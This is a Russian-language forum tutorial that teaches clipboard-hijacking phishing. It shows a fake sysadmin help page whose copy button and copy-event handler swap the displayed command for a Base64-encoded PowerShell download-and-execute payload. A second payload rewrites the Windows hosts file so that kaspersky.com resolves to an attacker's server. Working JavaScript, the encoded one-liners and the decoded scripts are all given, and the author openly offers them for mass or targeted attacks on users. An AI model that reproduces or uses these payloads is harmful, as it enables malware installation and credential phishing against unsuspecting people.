Phishing CMD scripts idea
Tr0jan_HorseВведение
Всем привет, сегодня я бы хотел рассказать про один нестандартный, но тем не менее, интересный способ применения социальной инженерии и технических способностей. Приступаем, нередко пользователи Windows(да и в принципе Linux/MacOS) гуглят поиски решений возникших ошибок или настройки чего-либо, это может быть абсолютно, что угодно:
- Установка языка программирования
- Запуск скриптов
- Обновление компонентов
- Извлечение системной информации
- Отключение параметров системных(банально установка прокси)
Особенность в том, что ЦА абсолютно разная, тема интересует, как стандартных пользователей, так и системных администраторов, которые могут быть начинающими или опытными. Создать фишинг будет крайне просто, можно будет использовать идею под массовые тестирования на проникновение, но также и под точечные.
К делу
Для начала мы должны определиться, какую задачу мы будем предлагать решить, это может быть даже установка любой консольной софтины. Находите любой простой сис.админский сайт и кастомизируете, можно самим накатать или с GPT, технологии на нашей стороне в этом плане :) Ну а я покажу простой пример, вот нашли мы сайт, к примеру:

Мы видим нормальное оформление, есть полезные команды, в данном контексте есть пользователю предлагается настроить базу данных, поочередно вводя команды. Есть возможность скопировать по нажатию кнопки. Это то, что нам нужно. Я покажу вам простой пример, далее вы адаптируете под свой код сайта. Вот я набросал такой же фрагмент:

Что здесь? Здесь на HTML кодом создаётся блок pre внутри него блок div с кнопкой button с идентификатором btn, дальше блок p внутри которого команда-приманка, которую пользователь будет пытаться скопировать.
Это наша приманка!

Здесь мы добавили обработчик событий, когда наша страница полностью прогрузится, затем мы создаём переменную, в которой будет храниться наша полезная нагрузка и потом создаём обработчик событий клика по кнопки, который записывает в буфер нашу полезную нагрузку, но также есть случай, когда пользователь сам выделит текст, и нажмёт Ctrl+C или выберет "Копировать" в контекстном меню, которое возникает, когда нажимаем правую кнопку мыши. На это мы тоже можем сделать обработчик:

Здесь мы к нашей странице привязали событие, которое прослушивает любое копирование, затем отменяет копирование, как будто ничего не было, а потом записывает в буфер нашу полезную нагрузку.
Собственно, основная часть для фишинга готова, осталось разработать полезную нагрузку, которую пользователь будет активировать. Ну думаю в формате урока мы сильно много экспериментировать не будем, давайте рассмотрим несколько вариантов, которые подойдут для PowerShell Windows.
Наша задача элементарна и имеет ряд последовательных действий:
- Создать переменные с ссылкой на скачивание и путём, куда скачется
- Скачать полезную нагрузку
- Запустить полезную нагрузку
Вот наш сценарий для PowerShell, который мы запустим через командную строку:
$url = 'https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png';
$output = [System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop);
$output += '\file.png';
Invoke-WebRequest -Uri $url -OutFile $output
Start-Process -FilePath $output
Закодируем его в Base64:

Мы зашифровали, это пригодится, чтобы когда будет запускаться скрипт, то было меньше всякого содержимого, типа ссылок и подобного, что пользователь легко разберет, этот вариант тоже не самый скрытный, но уже лучше и проще передать сценарий именно в таком формате. Здесь мы указали ссылку на полезную нагрузку в переменную(для примера мы будем скачивать логотип Google из поисковой строки. Затем создал переменную, в которой мы получим рабочий стол, вы также можете скачать и в другие директории(Загрузки, Документы, AppData) и приплюсовал названия файла, как будет называться скаченный файл, вы ровно также можете назвать его payload.exe и он скачается, а затем исполнится. Затем мы вызываем функцию PowerShell, которая запускает скачивание, передавая параметрами ссылку, откуда скачивать и, указывая путь, по которому скачать и затем запускает файл.
Далее нам надо обернуть полезную нагрузку в сценарий, который будет подходить для исполнения из коандной строки.
powershell -Command "$text = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(' ЗАКОДИРОВАННАЯ ПОЛЕЗНАЯ НАГРУЗКА ')); powershell -Command $text"
Здесь мы из командной строки запускаем PowerShell, передавая в параметр команды команду, которая присвоит переменной text нашу полезную нагрузку, раскодировав её, затем запустит PowerShell также передав в команду весь наш раскодированный сценарий. Пробуем!

Вот единственный алерт, в котором пользователя предупреждают, что вставляемый скрипт сразу исполнится, который выскакивает в Windows 11, для этого мы и набили длинную команду, можно команду пользователя поставить в конец, если хотите. Пользователь соглашается и происходит магия PowerShell !

Как вы можете видеть, команда исполнилась успешно, картинка скачалась и затем запустилась, в боевых же условиях это может быть исполняемый файл.
Вот полная переменная для html:
let malwareScript = `mysql -u root -p\npowershell -Command "$text = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHVybCA9ICdodHRwczovL3d3dy5nb29nbGUuY29tL2ltYWdlcy9icmFuZGluZy9nb29nbGVsb2dvLzJ4L2dvb2dsZWxvZ29fY29sb3JfMjcyeDkyZHAucG5nJzsKJG91dHB1dCA9IFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKFtTeXN0ZW0uRW52aXJvbm1lbnQrU3BlY2lhbEZvbGRlcl06OkRlc2t0b3ApOwokb3V0cHV0ICs9ICdcZmlsZS5wbmcnOwpJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1cmwgLU91dEZpbGUgJG91dHB1dApTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkb3V0cHV0')); powershell -Command $text"\n`;
Есть также альтернативный вариант. Мы можем переводить пользователя на фишинг. От этого не защищены никто, требуется написать скрипт, который будет под нужную ОС, но требуется применить СИ чтобы пользователь запустил ваш код с правами администратора. Для этого нам надо будет перезаписать в Windows файл hosts. C:/Windows/System32/drivers/etc/hosts . Я для примера сделаю так, чтобы при попытке открыть kaspersky.com открывался мой сайт, я подниму фейковый сайт на локалке, вы можете поднять любой сайт и просто вписать его IP-адрес. Поставить можно, что угодно, чтобы открылся ваш ресурс вместо каких-то конкретных сайтов.
Вот так он выглядит до изменений:

Нам все лишь надо добавить в конце строку с IP-адресом страницы, куда будем переводить пользователя и доменное имя сайта, с которого мы будем переводить, по такой схеме работает система DNS-серверов, мы обращаемся по домену, а получаем конечный IP-адрес. Вставим в конце строку:
127.0.0.1 kaspersky.com
Вместо 127.0.0.1 вы укажите IP-адрес нужного сервера с вашей страницей.

Здесь наш сценарий:
$ip_string = '127.0.0.1 kaspersky.com';
$system = [System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::System);
$system += '\drivers\etc\hosts';
Add-Content -Path $system -Value $ip_string
Нашли папку System32 и файл hosts, а затем в переменную подставили значение строки, которую добавим в конец. Кодируем и оборачиваем в уже ранее созданную полезную нагрузку:
let malwareScript = `mysql -u root -p\npowershell -Command "$text = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGlwX3N0cmluZyA9ICcxMjcuMC4wLjEga2FzcGVyc2t5LmNvbSc7CiRzeXN0ZW0gPSBbU3lzdGVtLkVudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aChbU3lzdGVtLkVudmlyb25tZW50K1NwZWNpYWxGb2xkZXJdOjpTeXN0ZW0pOwokc3lzdGVtICs9ICdcZHJpdmVyc1xldGNcaG9zdHMnOwpBZGQtQ29udGVudCAtUGF0aCAkc3lzdGVtIC1WYWx1ZSAkaXBfc3RyaW5n')); powershell -Command $text"\n`;
Пробуем! Скрипт, запущенный в командной строке с правами администратора, поменял файл:

Открываем и видим результат:

Мы поменяли конфигурационный файл и теперь при открытии страницы касперского открывается наша страница, остальные возможности оставлю на вашу фантазию, этим трюком пользуются системные администраторы, когда хотят ограничить от ресурсов конкретных, переадресовывая на сайт, где сказано "Доступ к ресурсу ограничен".
Спасибо за прочтение! Жду ваших реакций и может быть продолжу показывать фокусы!